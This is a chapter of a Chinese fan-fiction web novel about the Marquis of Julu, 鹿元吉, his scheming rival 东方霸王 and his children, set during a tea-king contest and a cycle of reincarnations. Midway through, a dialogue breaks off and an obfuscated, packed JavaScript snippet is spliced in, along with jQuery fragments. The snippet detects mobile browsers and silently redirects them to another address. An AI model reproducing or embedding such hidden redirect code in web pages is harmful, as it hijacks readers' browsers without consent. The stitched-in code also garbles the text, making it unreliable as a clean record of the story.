挑灯续昼,鹿元吉连打三个喷嚏,他翻遍整个巨鹿也没找出伊尼、斑龙,府门之外无人见过他们,东方未明只有“不知道”三个字。长廊点满烛灯,送他直入茶舍。
茶舍炉香围绕,霍心双眼黏在东方霸王身上,手中的茶早已凉透,听见急冲冲的脚步声,放下茶盏,拿起刚出炉的茶果子递给东方霸王,“他总是在不合时宜的时候出现。”
“霍心!”鹿元吉本意是想霍心看住东方霸王,谁知在这里品茶赏景,将东方霸王尊为上宾。
“吵什么吵。”霍心收手,一口吃掉半个茶果子,“有事就说。”
鹿元吉卷发上的茶叶掉在地上,柔声细语,“你先出去。”
“他们两个又不是第一天犯蠢,着什么急。”霍心丢下半枚茶果子,一口喝完冷茶,起身退出屋外。
鹿元吉入座,盯着东方霸王,“他们在哪儿?”
“霍心说这是上等茶,我觉得微苦,侯爷尝尝。”东方霸王把面前的茶盏推给鹿元吉。
“常胜将军,连输四场,可真不错。”鹿元吉端走茶慢吟,齁甜的茶汁入口,鹿元吉皱眉,霍心到底放了多少糖。
“年龄大了,记性也不好,我只输了三场。”东方霸王倒满一盏清水,“第四场赛事刚刚开始,谁输谁赢,未有定夺。”
鹿元吉食指推开茶盏:“你怎知你会赢?”
东方霸王浅吟清水:“你怎知我不会赢?”
鹿元吉:“即便你夺得茶王,他也不会把北地给我。”
东方霸王:“不需要他给,我自己会拿。”
鹿元吉:“贡侯守在北地,殿上群臣如狼似虎,而你被困在这里。”
东方霸王:“你不也困在这里。”
鹿元吉拂袖,伸手取下绿色的茶果子,咬去三分之一,“我早已归隐,世间争端与我无关。”
“人在府中,心在府外,归隐十年也没能将你养成无欲无求的清心居士。”东方霸王取下一枚粉色的茶果子,“你是不想争,还是不能争?”
茶果子的渣掉在衣服上,鹿元吉失去兴趣,丢下的茶果子在桌子上走了半圈,停在东方霸王茶盏前,“既知我布下棋局,却不知你早已入局,姬阿茶,你要如何破局?”
“设局的却想不到棋子要如何走。”东方霸王食指弹开茶果子取消茶,茶果子滚到对面,“还记得第六世里紫流星因何而死?”
“姬阿茶!”鹿元吉一掌把桌子砸成两半,茶炉倒在地上,茶水外溢,浸湿衣衫,鹿元吉的蓝袍更蓝了。
“听闻侯爷爱子如命,今日一见,果真如传闻一般。”东方霸王不受影响,继续饮茶,“茶王争霸,七府之争,谁也不能幸免,巨鹿也不例外。”
“为体谅鹿侯归隐幸苦,我特此备上一份大礼。”东方霸王放下茶盏,“你那两个不成器的儿子去了北地。”
在林间时,东方未明生病,东方霸王骑马寻代道童,遇到闲逛的鹿元吉,跟着他走了一段,鹿元吉却把她认作雪千秋,甩开鹿元吉,东方霸王在附近停了会儿,听到伊尼、斑龙的声音,假装偶遇,告诉他们下一场赛事抽中了北地。
北地在打仗,两个蠢货去北地做什么,鹿元吉不信,“他们是愚笨,但不是蠢。”
“伊尼一直想为巨鹿争个名声,巨鹿连败三次,他听说下次赛场在北地,毫不犹豫地就去了。”东方霸王起身,背负双手。“他的肩膀好像受伤了,不知到了北地,是否拿得动戟。”
“姬—阿—茶!”茶炉碎裂,鹿元吉的拳头滴着血。
“你引未明受伤,我引伊尼赴北地,一报还一报。”东方霸王背负双手,上半身微屈,俯在鹿元吉耳边,“巨鹿,广陵,永远的对手。”
东方霸王走出茶舍,鹿元吉只听见她同霍心说“我上次住的房间铺好了吗?”
隔着屋也能听见霍心笑吟吟的声音,“早就铺好了,我带你去。”
“听够了吗?”鹿元吉拔出指背上的茶炉屑,血喷涌而出。
鼓掌声从房梁上传开,三只纸鹤落在鹿元吉头上,“父亲上一次生气是在什么时候?”
“两个蠢货真去了北地?”鹿元吉弓起腿,右手垂在腿上,捡地上的茶果子吃。
“林间找不到他们的消息,我派出去的纸鹤也没找到他们的消息。”哑颂折出一副人像,“颜家两位大小姐也没了踪迹。”
按照原计划,哑颂等人把所有人引入巨鹿,和颜灵、颜悦交手时,失了手,却再也找不到她们的踪迹。
“百色的喜、乐也是你们下的手?”星河棋局,鹿元吉只看见龙女,没看见喜、乐。
“父亲大人可真是高估我们了。”哑颂轻飘飘落在地上,踢开茶炉残渣,摘走鹿元吉头上的纸鹤,坐在鹿元吉对面,“我带走炎楚后,就没再见过他们。父亲大人,我该问问你,你这些天忙得脚不着地,却这也不知,哪儿也不知,你都在干些什么?”
“……”鹿元吉把手里的茶果子塞进嘴里,起身离开。
“父亲大人。”哑颂飘到门边,“你的好女儿紫流星,让客人摘了一天的茶,此刻正在大殿等你呢。”
鹿元吉:“……”一个个的,一点儿也不让人省心。
烛灯欢送鹿元吉,轻盈的曲调挂满蓝纱帐,交叉搁在桌上的银甲映着烛影,鹿元吉一掌拍在腿上,“把腿放下去。”
紫流星心不甘情不愿地放下腿,“忙了一天,父亲大人可有收获?”
鹿元吉连上两步台阶,坐上鹿椅,“你让雪王采茶?”
“嗯哼。”紫流星右腿脚踝搁在左膝上,“小胖子手速倒挺快,采了满满一背篓。”
鹿元吉不说话,紫流星看向他,“父亲大人不关心其他人?”
“他们是死是活和我有什么关系?”鹿元吉手上的血已经凝成枷,“夜深了,回吧。”
“看来姓雪的对父亲大人不重要。”紫流星握紧拳头,“不如我去把他杀了,省得担心他惹麻烦。”
鹿元吉:“省去话里藏针那一套。”
“我们是您亲自调教出来的,自然是继承了您的风骨。”紫流星话音陡转,“我去北地把哪两个蠢货带回来。”
“不行。”鹿元吉断然拒绝,第六世紫流星死了,这次,鹿元吉绝不放任她离开身边。
紫流星放下腿,银甲踏在地面发出清脆的声响,“我是蓝衣军团的首领,我有能力把他们带回来。”
“夜深了,早点睡。”鹿元吉倒在椅子上,闭目养神,“别想着偷跑出府。”
“你有时间管我,不如管管你那位红头发的女儿。”紫流星负气踩踏地面,鹿元吉听着脚步声愈来愈远,扶额叹息,揉捏山根,两只手从椅背钻到椅前,落在鹿元吉两侧的太阳穴,鹿元吉全身放松,斜靠着椅背,太阳穴的手移到颈后,轻轻敲打,再缓缓移到双肩,十指揉捏,舒服的力度让鹿元吉睡意绵绵,鹿元吉一动也不动的倒在椅背上,肩上的双手节奏减慢,最后停住。
双手的主人蹑手蹑脚走到椅前,掀开鹿元吉宽大的衣袖,右手食指、中指悄悄溜进去,抓住空空的袖袋。
手指不甘心,移到鹿元吉腰后,腰带干干净净,没挂任何东西。他收回手,环保双臂,右脚轻点地面,目光下移,遇到鹿元吉的双腿。
他蹲下,撩起鹿元吉衣袍,手指慢慢抽出鹿元吉的裤腿。座椅上的人睁开右眼,唇角上钩,“你在找什么?”
河英:“找爹藏起来的礼物。”
鹿元吉:“找着了吗?”
“没有。”说完,河英僵着身体,双眼狂眨,缓缓扭过脖子,对上鹿元吉弯成月牙的双目,“这么快你就醒了。”
“你想我睡多久?”鹿元吉曲腿。
“自然是到天明。”河英慌张,动手合上鹿元吉双目,“爹,夜深了,你继续睡,我也回去睡了。”
河英一口气跑到门口。
“站住。”
磁音勾着河英停脚。
鹿元吉:“你是最漂亮的小孩儿?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355873|162228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
河英不知道鹿元吉是鹿百鸢的另一面,他转过身,细声嘀咕,“难道不是吗?”
“我何时说过这种肉麻而不得体的话?”鹿元吉坐直身体,凝着底下垂头站立的人。河英生了一张讨喜的脸,看见他,满腹怒火消散。
河英:“你一开口全是不得体的话,说了又忘,又怎么会记得这一句。”
“……”鹿元吉出口成章,一生讲过太多自己也不信的话,他是不记得说过这句,他勾手,河英赶紧跑过去,伸手帮他老人家捏肩捶腿。
“听说你结交了好友?”鹿元吉放松,靠着椅背。
四乌常做鹿元吉的眼线,这些肯定是四乌跟他说的,河英双手动作不减,“不是好友,是饭友。”
“他心思比你深,转眼就被坑,别和他来往。”鹿元吉从怀里拿出一袋拳头大小的纸包,丢给河英,“你又被她们欺负了?”
“茸客打的。”河英脸上挂着明显的淤青,他接过纸包,直接拆开,期待全无,笑容消失。
纸包里不过是一点茶叶。
鹿元吉识破他的心情,会心微笑,“仙宫的茶,烧尽整个书阁养出来的,殿上哪位也喝不着,只剩下这么点了,唯你拥有。”
“爹你早点睡。”眉毛挑高,河英高昂着头,收起纸包,拔腿开溜,拿走殿内的茶壶。
鹿元吉:“炎楚去哪里了?”
门外传来河英的余声,“去找东方未明了。”
一个个的,都不让人省心。鹿元吉一声长叹,“红厄!”
鹿椅后,满墙浮雕,九色神鹿脚踏祥云,奔赴烈日,烈日脱离墙体,落地成红厄,“长夜不尽,父亲不眠。”
鹿元吉:“少说废话,去把炎楚带回来。”
“孩子大了,翅膀硬了,父亲老了,管不住了。”红厄弓身凑到鹿元吉耳边,压低声线,满句嘲讽,“最后还得我帮你。”
刚刚嘴快,忘记红厄在这儿,送了河英独一无二的礼物,红厄爱钻牛角尖,不拿出点诚意这事不好收场,鹿元吉接连叹气,“新得到的雪刎给你。”
红厄嘴角扯到耳垂,“我手笨,父亲做好手串再拿给我。”
鹿元吉垮着脸不说话,到底谁是爹。
红色消散在大殿,殿内只剩下蓝色,鹿元吉轻揉双目,暂歇片刻,收手起身,钻进浮雕后的房间,走到左边的柜子里,拉开抽屉,取出装点螺钿的木匣,木匣左右两层,鹿元吉走到桌边坐下,拉开柜门,门内红白二色,左边放满火刎,右边放满雪刎,正正好好,左右各九根。
放置火刎的柜子被烫成黑色,临近门口的火刎断了一截,截口处布满金丝线。放置雪刎的柜子布满寒霜,仔细看,寒霜里蔓延雪玫纹路。鹿元吉拿出最右边的雪刎,其上还覆着几片八角雪霜,再过一段时日,生出雪刎的主人再也生不出八角雪霜。
鹿元吉取下衣服上的银鹿薄片,把雪刎截成一段又一段,拿起锉刀把雪刎磨成球,掉下的屑将鹿元吉的双手染成白色,磨出十个拇指大的雪刎球。鹿元吉用戳针戳出孔洞,扯出卷筒上的银丝线穿过孔洞,连成手串。
木匣里剩下的火刎、雪刎耀人双眼,历经九世,世世相同,鹿元吉拿出火刎,过去九世,所有的一切未曾改变,这一世他要不同。
火刎烫手,鹿元吉丢开火刎,用刀把火刎、雪刎切成一片一片,用戳针分别戳出两个孔洞,再用银丝线相连,制成云肩。鹿元吉臭美得意,把云肩系在肩上,云肩上的火刎散着热气,雪刎散着寒气,灼烧鹿元吉肩膀,肩胛生满血泡,这东西戴不得,他扯下云肩,快步出殿,直赴圣池。
月明星稀,鹿元吉穿过茶林,匆匆走过,又停下脚步,快步折回,停在吊床前。
夫子沉睡,不知光景。
轮回九世,夫子是第一次进府,他一直沉睡,便和此前一样,从不知晓巨鹿府。鹿元吉要这世有别于过去,他拔下笔戟,食指轻敲笔杆。
夫子眼睫波动,平静的胸口突然起伏,猛然呼吸。